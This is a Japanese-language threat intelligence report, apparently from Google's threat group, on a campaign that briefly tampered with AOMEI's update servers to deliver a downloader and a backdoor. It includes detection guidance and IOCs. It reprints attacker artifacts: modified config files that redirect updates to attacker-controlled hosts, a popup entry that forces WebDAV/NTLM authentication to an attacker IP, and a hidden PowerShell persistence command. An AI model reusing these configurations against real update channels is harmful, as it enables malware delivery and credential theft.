一時的なサプライチェーン改ざんの調査

執筆者: Tyler McLellan


はじめに

Google Threat Intelligence Group(GTIG)とMandiantは、2026年4月から2026年7月にかけて、AOMEI Technologyの更新インフラを狙ったソフトウェアサプライチェーン侵害キャンペーンを調査しました。攻撃者は、AOMEIのオリジンサーバーに対し、短時間の設定改ざんを繰り返し実行しました。各改ざんウィンドウが有効だったのは5~10分だけで、その後は正規のバージョンに戻されています。このような非常に短い時間枠で実行されたソフトウェアサプライチェーン侵害を確認したのは、今回が初めてです。この手口により、従来の時点ベースのトリアージや自動ファイルスキャンを事実上回避していました。  

このキャンペーンでは、新たに追跡を開始したダウンローダー「CROSSROAD」とバックドア「SHINYROAD」による多段階のペイロードチェーンが配布されました。攻撃者は手口を繰り返し変更し、ステージングインフラをクラウドプロバイダーから専用ドメインや正規のクラウドストレージへと切り替えています。このように変化するステージング構成は、防御側がインフラベースのブロックやネットワーク制御を効果的に確立する上で、大きな障壁となります。GTIGは、この活動を「UNC7017」として追跡している脅威クラスターによるものと判断しています。 

入手可能なテレメトリによると、被害を受けた組織の業種はITサービス、通信、高等教育などと多岐にわたり、所在地はオーストラリア、ブラジル、インド、パキスタン、ポルトガル、シンガポール、南アフリカ、スペイン、スイス、トルコ、米国に及びます。ただし、このキャンペーンは攻撃者の改ざんウィンドウ中に更新配信サーバーへ問い合わせたあらゆるシステムにマルウェアを配布しようとしたため、被害は無差別的であり、GTIGが直接確認した組織以外にも広がっている可能性が高いと考えられます。 

このキャンペーンは、Zoho Corporationの一部門であるManageEngine Threat Analysis Lab(METAL)との共同調査で最初に特定されました。METALのエンドポイント検知・対応(EDR)テレメトリが、5月下旬に複数の顧客環境でこの活動を最初に検知しています。METALチームには、積極的なテレメトリ共有と継続的な協力に感謝します。この協力は、両社共通の顧客基盤とソフトウェアエコシステム全体の保護に役立っています。この共同作業を受け、GTIGは影響を受けた可能性のある組織に通知し、技術的な調査結果をAOMEI Technologyに共有しました。AOMEIは、配信サーバーを保護するための是正措置を講じたと報告しています。METALによるこのキャンペーンの分析は、同社のブログで公開されています。

AOMEIの更新・通知システムの仕組み

AOMEI Backupperはデータバックアップ、ディスククローン、災害復旧の機能を提供し、AnyViewerはリモートデスクトップ接続とサポートを支援します。これらの製品のユーザーは、ABMarketの更新フローと関連するバックグラウンドサービス(Backupper.exeおよびABNotify.exe)に依存しています。これらのサービスは、更新通知やプロモーションのポップアップを取得するため、HTTPS経由でリモートのエンドポイントに定期的に問い合わせます。

https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_1_AOMEI_Update_Mechanism.max-2000x2000.png

図1: AOMEIの更新メカニズム

  1. 更新設定(down_html.ini): ソフトウェアは定期的にhttps://www2.aomeisoftware.com/download/abpopup/down_html.iniへHTTPSリクエストを送信します。このファイルには、バージョン番号、想定される更新パッケージのMD5ハッシュ、クライアントがupgrade-now.zipをダウンロードするURLが記載されています。

  2. 通知設定(Notifycfg.ini): ソフトウェアはhttps://account.aomeitech.com/Notifycfg.iniに接続します。このファイルは、ローカルの通知プロセス(ABNotify.exe)に対し、表示するメッセージと、ソフトウェアのローカルディレクトリにあるコマンドやプログラムの実行内容を指示します。

通常の状態では、これらのファイルはクライアントに対し、AOMEI自身のドメイン(www2.aomeisoftware.com)にある公式ファイルをダウンロードするよう指示します。

キャンペーンの概要

GTIGとMETALのテレメトリによると、UNC7017はベンダーの配信サーバーに恒久的な静的改ざんを残すのではなく、短時間の設定改ざんを繰り返し実行していました。2026年には複数の改ざんウィンドウを確認しており、関連するマルウェア検体も4月下旬から実環境で観測されています。ただし、各ウィンドウが短いことから、キャンペーン期間中にはGTIGの観測範囲外で追加の改ざんが発生していた可能性が高いと考えられます。改ざんウィンドウが有効な間に更新を確認したシステムは悪意ある指示を受け取り、その前後に確認したシステムは正規のファイルを受け取りました。 

短い改ざんウィンドウの間、攻撃者は更新サーバー上の更新設定ファイルを書き換え、正規の更新ではなく攻撃者管理下のサーバーから悪意あるZIPパッケージをダウンロードするようソフトウェアを誘導しました。さらに、サーバー上の通知設定ファイルも改ざんし、ソフトウェアの自動通知サービスを悪用して、ダウンロードしたマルウェアをローカルで即座に実行させました。改ざんが有効な間にユーザーのアプリケーションが更新を確認すると、トロイの木馬化された更新をダウンロードし、マルウェアを実行してしまいます。 

改ざんされた設定ファイルが有効だった場合、攻撃者はクライアントに対し、CROSSROADを含む武器化されたZIPアーカイブをダウンロードさせました。CROSSROADは初期ダウンローダーで、環境の検証と二次コンポーネントのステージングを担います。その後CROSSROADはスケジュールタスクによる永続化を確立し、SHINYROADを展開します。SHINYROADは、トロイの木馬化された管理ユーティリティ経由で配布されるモジュール型バックドアフレームワークで、秘匿的なコマンド&コントロール(C2)通信を可能にします。

短時間のサプライチェーン改ざん

UNC7017の運用上のセキュリティの特徴は、一時的で時間を圧縮したサーバー改ざんに依存している点です。直接観測したすべての攻撃の波で、攻撃者はAOMEIの更新サーバー上に悪意ある設定を常駐させないようにしていました。

  • 5月28日: 10分間の露出ウィンドウ(UTC 05:40~05:50)

  • 7月16日: 6分間の露出ウィンドウ(UTC 08:33~08:39)

  • 7月20日: 5分間の露出ウィンドウ(UTC 10:35~10:40)

各ウィンドウの終了時に、UNC7017はdown_html.iniとNotifycfg.iniの両方を正規の内容に戻しました。これにより、インシデント後のベンダー監査は難しくなり、ネットワーク防御担当者が稼働中の悪意あるサーバーレスポンスを捕捉できる時間も最小化されます。侵害されるのも、まさにその数分間に更新を確認したクライアントに限られます。

ネイティブの更新ロジックの武器化: down_html.iniと設定ファイルの肥大化

UNC7017は、ソフトウェアの脆弱性に頼らずにエンドポイントを侵害するため、AOMEIクライアントの正規の更新・ポップアップ表示ワークフローを悪用しました。クライアントは既定で、更新アーカイブをTmphtmlディレクトリにダウンロードし、ローカルのhtml/ディレクトリに展開します。その後、down_html.iniとNotifycfg.iniという2つのリモート設定ファイルの指示を処理します。

AOMEIクライアントに武器化されたupgrade-now.zipアーカイブを受け入れさせて展開させるため、UNC7017は改ざんウィンドウのたびに、マイナービルドバージョン(「thrid」)を段階的に増やし、down_html.ini内の想定MD5チェックサムを更新していました。

[Date]
-Url=https://www2.aomeisoftware.com/download/abpopup/upgrade-now.zip
+Url=https://promotion.storage-data.com/download/abpopup/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
-thrid=5
+thrid=6
[MD5]
-Val=EE89C99F3753231771170F5D9CBBAE1E
+Val=31323E7E738230FA6A8DEEF2B7894666

図2: 7月16日に行われたdown_html.iniの改ざん。ダウンロード先をpromotion.storage-data.comに変更し、バージョン(thrid=6)を増やしてMD5ハッシュも同期している。

7月16日の6分間のウィンドウ中、UNC7017はNotifycfg.ini(SHA256: d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934)も同時に改ざんしました。[dummy_XXXXXX]という名前の反復的な設定セクションを35,000行以上注入しています。この極端な設定の肥大化は、標準的なクライアントのバージョンチェックを上書きするための構造でした。インストール済みのバージョンにかかわらずクライアントに更新を強制的に起動させ、ローカルのhtml/ディレクトリに展開されたCROSSROADドロッパー(upgrade-now.exe)を即座に実行させます。

インフラの切り替え

2026年4月から7月にかけて、UNC7017はステージング・配布インフラを、パブリッククラウドのバケットと、攻撃者が管理する類似ドメインの間で切り替えていました。ペイロード配信のテストと、正規のベンダー通信への偽装が目的とみられます。 

インフラの切り替え

  1. 初期のクラウドステージング(2026年4月~5月): 初期のCROSSROADペイロード(5月20日に観測されたupgrade-now.exe)は、Alibaba Cloud Object Storage(serv.oss-cn-hongkong.aliyuncs.com)に依存していました。

  2. 専用ドメインインフラ(2026年7月1日~7日): 攻撃者はベンダーを装った専用ドメイン(storage-data.com、promotion.storage-data.com、aomei.storage-data.com)に移行しました。

  3. ハイブリッドなクラウド配信の分割(2026年7月20日): 7月20日の5分間のウィンドウ中、攻撃者はdown_html.iniを改ざんし、クライアントの最初のダウンロード先をstorage-data.comではなく、パブリックなGoogle Cloud Storageバケット(storage.googleapis.com/aomeiupdate/upgrade-now.zip)に変更しました。この戦術的な切り替えにより、最初のダウンロードは、新規登録ドメイン(NRD)をブロックする企業のプロキシフィルターを回避できました。一方、実行されたCROSSROADローダーは、二次ペイロードの取得とC2通信に引き続きstorage-data.comを使用していました。

[Date]
Url=https://storage.googleapis.com/aomeiupdate/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
thrid=7
[MD5]
Val=BF73C4391B58CA95220CE3AE03F66DCF

図3: 7月20日に行われたdown_html.iniの改ざん。Google Cloud Storage(thrid=7)を利用して、新規登録ドメイン(NRD)の境界ブロックを回避している。

WebDAVによるNTLM認証情報の強制送信

7月20日、UNC7017はNotifycfg.ini内に第2の攻撃手法を導入しました。改ざん前のNotifycfg.iniは、「World Cup Deals」を宣伝する400×380の正規のプロモーションバナーを表示していました。攻撃者はこのバナーを、最高の実行優先度(Priority=9999)を割り当てた不可視の1×1ピクセルのウィンドウ(Width=1、Height=1)に置き換えました。このウィンドウは、クライアントに対し、UNC(Universal Naming Convention)形式のWebDAVパス経由でリモートのHTMLファイルを描画するよう指示します。

[PopWindow1]
ID=307
Title=20260408-AB Flash Sale (All Lang 不含EN)
Address="file://8.210.84.56/DavWWWRoot/campaign/24hour-flash-sale.html"
Width=1
Height=1
Priority=9999

図4: 7月20日の悪意あるNotifycfg.ini設定。不可視の1×1ポップアップウィンドウを実装し、8.210.84.56に対するWebDAV/NTLM認証を強制している。

AOMEIクライアントにWebDAV(DavWWWRoot)経由でリモートのfile://リソースを要求させることで、UNC7017は、ユーザーに気付かれずに認証情報を収集する仕組みを作り出しました。この仕組みにより、エンドポイントに攻撃者管理下のIPアドレス(8.210.84.56)へNetNTLMv2認証ハッシュを送信させることができます。

マルウェアの配布とポストエクスプロイトツール

キャンペーンの各波を通じて、UNC7017はカスタムローダーと、商用・オープンソースのポストエクスプロイトフレームワークを一貫したチェーンとして展開しました。

  • タイムスタンプ改ざんによる防御回避: 5月20日にVirusTotalへ提出された初期のCROSSROADドロッパー(upgrade-now.exe)を分析したところ、攻撃者がPEのコンパイルタイムスタンプを操作し、偽の2024年のビルド日付を表示させていたことが判明しました。フォレンジックのタイムライン分析を困難にする狙いがあります。

  • 改変されたRadmin Serverバックドア: 5月28日の攻撃の波では、html/ディレクトリに投下された署名なしのローダーがrsetup64.exe /intsetupを実行し、商用リモート管理ツールRadmin Serverの改変版をサイレントでインストールして、永続的なリモートアクセスを確立しました。

  • Adaptix C2の統合: 少なくとも2026年7月初旬から、攻撃者がstorage-data.comインフラ全体にAdaptix C2フレームワークを展開していることが観測されました。

主要ダウンローダー: CROSSROAD 

主要なステージ2ダウンローダー(upgrade-now.exe、SHA256: 9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450)は、C言語で書かれた64ビットのWindows実行ファイルで、GTIGはCROSSROADマルウェアファミリーとして追跡しています。upgrade-now.zipに格納されて配布されるCROSSROADは、環境の検証、稼働中のエンドポイントのクリーンアップ、二次ペイロードバンドルのステージング、ステージ3のバックドア群に向けたスケジュールタスクによる永続化を担います。

  • パスの検証: 設定ルーチンの一環として、CROSSROADは自身のファイルパスに部分文字列AOMEIが含まれるかを確認します。含まれていない場合は自己削除ルーチンを開始しますが、処理は中止せず、バックグラウンドの設定クリーンアップとダウンローダーのルーチンはどちらも続行します。

  • 実行ガードレール: 二次ダウンロードに進む前に、CROSSROADは主に2つのチェックを行います。

  • 地理的位置の確認: カスタムUser-Agent(Anyviewer-loader/1.0、Anyviewer-ipcheck/1.0)を使用して、外部のドメインネームシステム(DNS)サービス(myip.opendns.com、o-o.myaddr.l.google.com)とHTTPリフレクションサービス(checkip.amazonaws.com、api.ipify.org、ifconfig.me/ip、icanhazip.com)に問い合わせます。特定の実行分岐では、返された国コードが"CN"(中国)の場合、ローダーは主要なペイロードの実行経路を中止します。

  • ロックミューテックス: 名前付きミューテックスGlobal\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}を取得し、同一ホスト上で複数のインスタンスが同時に動作するのを防ぎます。

  • ホスト上のアーティファクトの復元とアンチフォレンジック: インシデント後のトリアージとフォレンジックによる再構築を困難にするため、ローダーは実行サイクル中にローカルの設定状態を体系的に元に戻します。マルウェアはdown_html.ini(<install_dir>\..\..\に配置)を解析し、更新スレッドパラメーター(thrid)を既定値の5に戻すとともに、更新のダウンロードURLを正規のAOMEI配信インフラ(https://www2.aomeisoftware.com/download/abpopup/)に戻します。

  • ステージ3ペイロードのステージングと展開: 環境チェックを通過すると、CROSSROADはhttps://promotion.storage-data.com/config/component.zip(en.zipとしても観測)を%TEMP%\svc<random_hex>.tmpにダウンロードし、組み込みのminizライブラリを使って、その内容をユーザーのローカルアプリケーションデータディレクトリに展開します。

  • スケジュールタスクによる永続化: ステージングしたペイロードバンドルを継続的に実行するため、upgrade-now.exeはRadminComponentRuntimeという名前の永続的なスケジュールタスクを登録します(説明文は「Radmin Component runtime checkable.」に設定)。このタスクは、3時間ごとに%LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechkを実行するよう設定されています。

  • 自己削除(–nitrod): ペイロードバンドルを展開してスケジュールタスクを作成した後、CROSSROADは自身をディスクから消去します。Windowsのファイルロックの制約を回避するため、実行ファイルは自分自身のコピーを一時ディレクトリに投下し、--nitrodパラメーター付きで実行します。このとき、親プロセスIDをNITRODP、元の実行ファイルのパスをNITRODTで渡します。子プロセスは親プロセスの終了を待ち、SetFileInformationByHandleを使って元のバイナリの主要な:$DATAストリームを:wtfbbqという代替データストリームにリネームします。さらにFileDispositionInfoにDeleteFile = TRUEを設定し、ハンドルを閉じた時点でバイナリが削除されるようにします。

  • バージョン情報: 実行ファイルには標準的なPEバージョンメタデータが含まれており、注目すべきスペルミスの文字列がありました。"ProductName: AOMEI Update Compent"です。

  • https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_5_Victim_Profiling_Malware_Delivery.max-2000x2000.png

    図5: 被害者のプロファイリングとマルウェア配布ロジック

    ステージ3ペイロード: SHINYROADとRadminスイート

    CROSSROADが%LOCALAPPDATA%\Radmin\に展開するペイロードアーカイブには、Famatech Radmin 3.x管理バンドルが含まれています。攻撃者はこれを使って、モジュール型バックドアフレームワークSHINYROADを配布します。このマルウェア自体には独自の永続化メカニズムがなく、実行はCROSSROADが登録した外部のスケジュールタスクに全面的に依存しています。

    • DLL検索順序ハイジャックによる実行(BlkScrDl.dll): 実行は、永続的なRadminComponentRuntimeスケジュールタスクが、署名付きの正規Radminバイナリ%LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk(またはFamItrf2.exe)を起動することから始まります。起動時に、このRadmin実行ファイルは検索順序ハイジャックによって、攻撃者の署名なしDLLBlkScrDl.dllを読み込まされます。攻撃者はこのDLLに、Radminの正規の「ブランクスクリーン」ドライバーライブラリを装った名前を付けていました。

    • 共有メモリとインプロセスCOMサーバーのステージング: 実行されると、BlkScrDl.dllは実行ディレクトリ内のconfig.zipを探し、その生データをLocal\963d3c60-d406-4ad6-aa1e-dc8e45061ccfという名前の共有メモリセクションにマップします。そして、csvc\RuntimeComponent.dllを、CLSID {21191641-0D7F-4CD9-9572-01AAE6E7851B}とAppID {9AD3E98A-4C7E-4F37-982D-D73D41E4F91B}のインプロセスCOMサーバーとして動的に登録します。

    • COM起動によるステージ2の初期化と組み込みPocketPy VM: Radminプロセスが登録済みのCLSIDをインスタンス化すると、WindowsのCOMサブシステムがこのDLLを読み込みます。DLLは共有メモリから直接config.zipを読み取り、暗号化されたペイロードmetadata.datを抽出して、HMAC-SHA256から導出した鍵とIVを用いたChaCha20で復号します。復号されたペイロードはコンパイル済みのPythonバイトコードで、RuntimeComponent.dllが組み込みのPocketPyインタープリター内で実行し、8.218.65.184:443への最初のC2接続を確立します。

    SHINYROADアーキテクチャの進化

    キャンペーンの初期の亜種を分析した結果、SHINYROADはCレベルのカスタム拡張(_pyio_compat、_pyio_struct、pkpy)を利用し、標準のPythonライブラリをディスク上に読み込まないようにしていることが分かりました。

    • 独自のバイナリC2プロトコル: 初期の亜種は、生のTCP(8.218.65.184:41397)で通信していました。エージェントはホスト名とユーザー名のフィンガープリントから固有のIDを生成し、ハードコードされたハンドシェイクキーで認証を行います。その後は、この固有IDから導出した共通鍵暗号を使うよう、以降の通信をすべて動的に切り替えます。

    • インメモリの機能: このエンジンは、対話型のリモートシェルアクセス(os.system)、トラフィックのチャフィング(ネットワークシグネチャを妨害するランダムなジャンクパケットの生成)、そしてスクリプトモジュールをディスクに書き込まずに、pkpyのWorkPoolスレッドマネージャー経由で動的にメモリ内を拡張する機能をサポートしています。

    ポストエクスプロイト: Nitro PDFを装ったテーマとAdaptix C2

    2026年7月中旬、SHINYROADの展開に成功した後、UNC7017がADAPTAGENTを投入した後続段階の活動がテレメトリで確認されました。ADAPTAGENTは、ポストエクスプロイトフレームワークAdaptix C2のクライアント部分です。環境に紛れ込み、ユーザーがダウンロードした活動に見せかけるため、これらのペイロードはNitro PDFのプロモーション・スキャンツール(NitroPromotion.exe)を装っていました。

    • 永続化: マルウェアは\NitroRuntimeという名前のスケジュールタスクをインストールし、次のコマンドを実行させていました。

    powershell -Command "Start-Process 'C:\Users\<USER>\AppData\Local\Temp\NitroPromotion.exe' -WindowStyle Hidden"

    図6: NitroRuntimeスケジュールタスクによる永続化

    • Adaptix C2ビーコン: この実行ファイルは%LOCALAPPDATA%\Nitro Pro\からEztwain4.dll(ADAPTAGENT)をサイドロードし、8.210.84.56:6800に対して2分間隔の定期ビーコンを確立していました。

    今後の見通しと影響

    このキャンペーンは、ソフトウェアサプライチェーン攻撃の手法がより広く進化していることを示しています。サプライチェーン侵入はこれまで、ソフトウェアのソースコードにバックドアを仕込む手口や、開発者のビルドパイプラインの改ざん(例: SolarWinds、3CX)が中心でした。これらは極めて影響が大きい一方で、ソースツリーを侵害すると、公式リリースファイルに永続的なバイナリシグネチャが残ります。このシグネチャは、リリース後のバイナリ分析で発見される可能性があります。

    UNC7017が用いた一時的な設定改ざんは、より低コストで、より秘匿性の高い代替手段といえます。

    1. 設計段階からの分析回避: 設定の変更を5~10分のウィンドウに限定することで、大半の正規ユーザーや自動リポジトリクローラーは、ベンダーが署名した正規のファイルにしか遭遇しません。

    2. 選択的な攻撃: 脅威アクターは、頻繁にポーリングを行う標的組織を選択的に侵害でき、ベンダーインフラ上での露出時間も最小限に抑えられます。

    3. 二方面からのアプローチ: ソフトウェア更新のリダイレクトと不可視のWebDAV NTLM強制送信を組み合わせれば、バイナリペイロードの実行がブロックされても、攻撃者は受動的なユーザーから認証情報を収集できる可能性があります。

    4. 商用ソフトウェアの転用: 正規の管理ツール(Radmin 3.xなど)を未改変のまま展開し、サイドロードによる秘匿チャネルを偽装する手口は、攻撃者が商用のリモート管理機能と隠れたバックドアモジュールをいかに巧みに融合させているかを示しています。

    対処とセキュリティ強化

    防御側は、アップデータープロセスの振る舞いのプロファイリングに注力すべきです。具体的には、バックグラウンドの更新ランナーが生成する署名なしの子プロセスや、信頼されたデスクトップソフトウェアから発生する不正なネットワークリダイレクトを監視してください。ソフトウェア配信パイプラインを保護するための幅広い推奨事項については、過去に公開したサプライチェーン侵害の緩和ガイダンスを参照してください。

    ベンダーへの通知とアーキテクチャの強化

    2026年7月17日、Mandiantは更新インフラで観測された設定改ざんについてAOMEI Technologyに通知し、関連する侵害指標を提供しました。その後、AOMEIは2026年7月29日に、是正措置を講じたと回答しています。

    サーバー側の対処ではエンドポイントが無害化されない理由

    重要な点として、サーバー側の対処では、以前の改ざんウィンドウ中に悪意ある更新をダウンロードしたエンドポイントはクリーンになりません。改ざんは短時間の断続的なものだったため、これらのファイルを受け取ったシステムは、プロアクティブなエンドポイントハンティングと修復を行わない限り、組織が気付かないまま侵害された状態が続く可能性があります。

    • 常駐する永続ペイロード: 改ざんウィンドウ中に更新を確認したエンドポイントは、永続的なペイロードをダウンロードしてステージングしています(スケジュールタスク経由)。このペイロードは、ベンダーがオリジンサーバー上の正規の.iniファイルを復元した後も完全に動作し続けます。

    • 不明瞭な根本原因: その後のバックドア活動とスケジュールタスクは検知可能なエンドポイントテレメトリを生成しますが、一時的な配布手段によって初期侵入の仕組みは見えにくくなります。サーバーの改ざんは約5分間しか続かず、ローダーもローカルの設定ファイルを能動的に元へ戻していました。そのため、数時間後にベンダーの更新URLを確認した調査担当者には、無害で正規のインフラしか見えません。これが根本原因の分析と、最初の感染端末(ペイシェントゼロ)の特定を難しくしています。

    • ハンティングの必要性: AOMEIソフトウェアを使用している組織は、ベンダーがサーバー側の是正措置を講じたというだけで保護されていると考えてはなりません。企業のセキュリティチームは、この記事で提供する侵害指標とYARAルールを用い、4月から7月までの全期間を対象に、エンドポイントとネットワークの遡及的なハンティングを実施する必要があります。

    ソフトウェアベンダーと開発者向けガイダンス

    ソフトウェアサプライチェーンのセキュリティは、開発者のワークステーションやビルドパイプラインにとどまりません。デスクトップソフトウェアが更新や通知の挙動を管理するためにリモート設定ファイルに依存していると、攻撃者はソースコードではなく配信レイヤーを狙えます。設定の改ざんや配信チャネルのハイジャックを防ぐため、ソフトウェアベンダーは次のセキュリティ対策を実施すべきです。

    • エンドツーエンドの暗号署名検証: クライアントアプリケーションは、ダウンロードしたすべての実行ファイルとアーカイブについて、展開や実行の前にAuthenticodeデジタル署名を暗号的に検証し、ベンダー証明書を確認する必要があります。更新クライアントは、トランスポート層のHTTPSや、リモートのチェックサム(認証のない設定ファイル内の平文のMD5値など)だけに頼ってはなりません。

    • 暗号署名付きの設定ファイル: リモート設定ファイル(.ini、.json、.xml)は、非対称公開鍵暗号を用いてデジタル署名すべきです。オリジンサーバーやコンテンツ配信ネットワーク(CDN)が不正に改変された場合、クライアントソフトウェアは無効な署名を検知して設定を拒否できます。

    • ドメインのアローリストと宛先のピンニング: ソフトウェア更新クライアントは、厳格な宛先ピンニングを適用し、更新のダウンロード元を、事前承認された公式のベンダードメインとCDNだけに限定すべきです。更新エンジンは、任意のサードパーティドメインや汎用のパブリッククラウドストレージバケットへのリダイレクトを拒否する必要があります。

    • アプリ内ハンドラーでのURI(Uniform Resource Identifier)スキームの制限: 組み込みのWebビュー、プロモーションのポップアップ、通知ハンドラーは、安全なWebプロトコル(https://)を厳格に強制し、ローカルファイル(file://)やUNC WebDAVスキームを明示的に禁止して、外部へのNTLM認証情報の強制送信を防ぐ必要があります。

    • 中核の更新とマーケティングチャネルの分離: 必須のソフトウェアメンテナンス処理を、動的なプロモーションのポップアップや通知バナーから切り離すことで、攻撃対象領域が縮小します。広告チャネルからローカルのコード実行を引き起こせなくなります。

    • オリジンの完全性監視とアクセス制御: 更新メタデータをホストするオリジンWebサーバーとオブジェクトストレージバケットには、厳格なアクセス制御、多要素認証、自動化されたリアルタイムのファイル整合性監視(FIM)を適用し、設定が変更された際は即座にアラートを出すべきです。

    セキュリティオペレーション(SOC)とインシデント対応担当者向けガイダンス

    「時点ベース」のトリアージという落とし穴の克服

    この攻撃は短時間で終わるため、インシデント対応に特有の課題が生じます。

    • トリアージの罠: アップデーターが生成した不審なプロセスについてEDRのアラートが発生すると、SOCアナリストはしばしば、ベンダーのダウンロードURLにアクセスしたり、URLレピュテーションを確認したりして、アラートを検証しようとします。攻撃者は5~10分以内にリモート設定ファイルを元に戻しているため、ベンダーのサーバーはたいてい正規でクリーンなファイルを返します。その結果、アナリストはこの検知を誤検知と誤って判断してしまいます。

    • 実践的なIR手順: 防御側は、稼働中のWebチェックに頼ってはなりません。インシデント対応担当者は、%PROGRAMFILES(X86)%\AOMEI\*\Tmphtml\にあるエンドポイント上にキャッシュされた設定ファイルを保全して分析し、アラートが発生した正確な秒に対応するプロキシ/ファイアウォールのテレメトリを確認する必要があります。

    偽装された後続活動

    Nitro PDFを装ったAdaptix C2の展開は、アナリストに誤った判断をさせる恐れがあります。段階的な横展開ではなく、ユーザーが単独で行ったソフトウェアのダウンロードとして、アラートを扱ってしまう可能性があるためです。対応担当者は、アップデーターの親子関係をたどり、根本原因であるサプライチェーン改ざんを特定する必要があります。

    エンドポイントとネットワークの強化策

    エンドポイントのファイル確認

    システム内で次のディレクトリとアーティファクトを調べてください。防御側は、悪意あるペイロードと、検索順序ハイジャックに悪用された正規の署名付きバイナリを区別する必要があります。

    ディレクトリ

    悪意あるアーティファクト(主要なIOC)

    悪用された正規/サポート用バイナリ

    防御側のトリアージとハンティングのガイダンス

    %LOCALAPPDATA%\Radmin\

    BlkScrDl.dll, csvc\RuntimeComponent.dll, config.zip, metadata.dat

    FamItrfc.exe, FamItrf2.exe, WinLpcDl.dll, WinLpcDl2.dll

    実行ファイルが署名されていても見過ごさないでください。FamItrfc.exeはFamatechの正規ソフトウェアで、BlkScrDl.dllのハイジャックに悪用されています。署名なしのDLLと、--runtimechk付きの実行をアラート対象にしてください。

    %LOCALAPPDATA%\Nitro Pro\

    Eztwain4.dll (ADAPTAGENT), NitroPromotion.exe

    mfc140u.dll (Microsoft MFCランタイム), Nitro_Scan2PDFApp.exe

    ペイロードはNitro PDFツールを装っています。Eztwain4.dll は実行ファイルによってサイドロードされます。-WindowStyle Hidden付きで生成された親PowerShellプロセスを探してください。

    %TEMP%\

    svc*.tmp, en\

    —

    NTFSストリームの上書き(:wtfbbq)でCROSSROADを消去するため、--nitrod付きで生成される一時的な子プロセス。

    AOMEIのインストールパス(Tmphtml\, html\)

    upgrade-now.zip, upgrade-now.exe(CROSSROAD)

    down_html.ini, Notifycfg.ini

    AOMEI更新フローのステージング場所です。WebUIのhtml\ディレクトリに、不正な実行ファイルが投下されていないか確認してください。

    表1: エンドポイントのファイル確認

    スケジュールタスクとレジストリ

    • スケジュールタスク: \NitroRuntimeまたは\RadminComponentRuntimeという名前の不正なタスクがないか確認してください。

    • レジストリ: \REGISTRY\MACHINE\SYSTEM\Software\Microsoft\TIP\AggregateResults\dataに不審なバイナリブロブがないか確認してください。

    ネットワーク防御

    • promotion.storage-data.com、aomei.storage-data.com、storage-data.com、8.210.84.56、47.239.60.117、8.218.65.184への外向きのネットワーク接続をブロックしてください。

    • NTLM認証情報の強制送信を防ぐため、外部IPアドレスへの外向きSMB(TCP 445)およびWebDAV通信をブロックしてください。

    • プロキシとWebゲートウェイのログで、User-Agent Anyviewer-loader/1.0やAlibaba Cloud OSSエンドポイントserv.oss-cn-hongkong.aliyuncs.comへのリクエストがないか調べてください。

    侵害指標(IOC)

    このブログ記事で取り上げた活動を、より多くのコミュニティがハンティング・特定できるよう、登録ユーザー向けにGTIコレクションに侵害指標(IOC)を掲載しています。

    悪意あるファイルのハッシュ(SHA-256)

    ファイル/説明

    SHA-256

    upgrade-now.zip(5月20日のCROSSROADアーカイブ)

    6670ab3f0434a42f33416f8354150b1701e7615f3cfa2f1635e54f8df0f6eec7

    upgrade-now.exe(5月20日のCROSSROADローダー)

    11e576df44e9c9eef72b9f5b699291bcdb200a19130778ec231e5b0987b913ad

    upgrade-now.exe(7月16日のCROSSROADローダー)

    9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450

    upgrade-now.exe(7月20日のCROSSROADローダー)

    b360b6db0c2b668317edc1504a7c39ef047f0d925c8f113b521f6724c157ae21

    upgrade-now.zip(7月20日のCROSSROADアーカイブ)

    9ed503c6a9a3a493fb859401e9ed469eed77ab9927341964d6dbfbfa6255aeba

    component.zip / en.zip(SHINYROADパッケージ)

    d167bc898e856da8a4003cb4dfc7de55fea109eee3cd64fc8999710314109464

    RuntimeComponent.dll(カスタムPocketPyエンジン)

    8fbaa74b27dc1e89abfc694e834378746f0ad37a688098c5f8f511410157c8b8

    BlkScrDl.dll(悪意あるDLL)

    5837bc26a73cfb46ffd466cf889f03ce2f6a48f1f3fd42ec8be22189d51cab1e

    config.zip(Pythonバイトコードアーカイブ)

    4c0a75e0f62ddc0bb350c224fe996f3b2ab08dcb0d288231c61ffe9406c7045b

    metadata.dat(ChaCha20ペイロード)

    4b4d25b3501519476f9a62a88a781e4f446f669280eb5e98c6b96eb6d3743431

    axmlx.(無害なおとりファイル)

    d7cfa659d224928e7b72c806dcf2169594d993ecf6422e6efcdcf251190f2e7c

    NitroPromotion.exe(Nitroの実行ファイルを装ったADAPTAGENTのランチャー)

    14b31918075e6130b9123158743db0a81e2d7bfcf6d39731ee7d9200a98cd591

    Eztwain4.dll(ADAPTAGENTヘルパーDLL)

    8c8090aca8ddb1cf968d2b810457e0cfce97c03cd721f70d2eca7f37f2681fc4

    abe.exe(二次ペイロード)

    7b252be444dee2fb2a57043a823dc5b5e1fae970aea91ee2c8339aa70329969d

    表2: 悪意あるファイルの指標

    正規ファイルのハッシュ(SHA-256)

    ファイル/説明

    SHA-256

    WinLpcDl.dll(正規のRadminコンポーネント)

    2d99e9d732ff9304d97c7856b052ca520ae689fec1ce86df724de741913afa4b

    WinLpcDl2.dll(正規のRadminコンポーネント)

    dad559ae9bc977783c7251591eeb7aa432b860ce821ccf10b1260fd0e650c951

    Nitro_Scan2PDFApp.exe (正規の署名付きバイナリ、サイドロードに悪用)

    d71a119b4950ee88dd36205176d989a64df5248ac268591d4bbb78621a73acbd

    表3: 正規ファイルの指標

    設定ファイルのハッシュ(AOMEI .ini)

    ファイルの説明

    SHA-256

    down_html.ini(7月16日 UTC 08:33~08:39に改ざん)

    924ad92d89dde577d5858b2ebc5703a485467842d78e98b75019b2e2e0ac3fe6

    Notifycfg.ini(7月16日のウィンドウで改ざん)

    d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934

    Notifycfg.ini(7月20日のWebDAV版に改ざん)

    286e0d8c7bdfaa7c251a3e8f0f2fefbe25c67586c0149d39b1095c89dc6023c8

    down_html.ini(7月20日 UTC 10:35~10:40に改ざん)

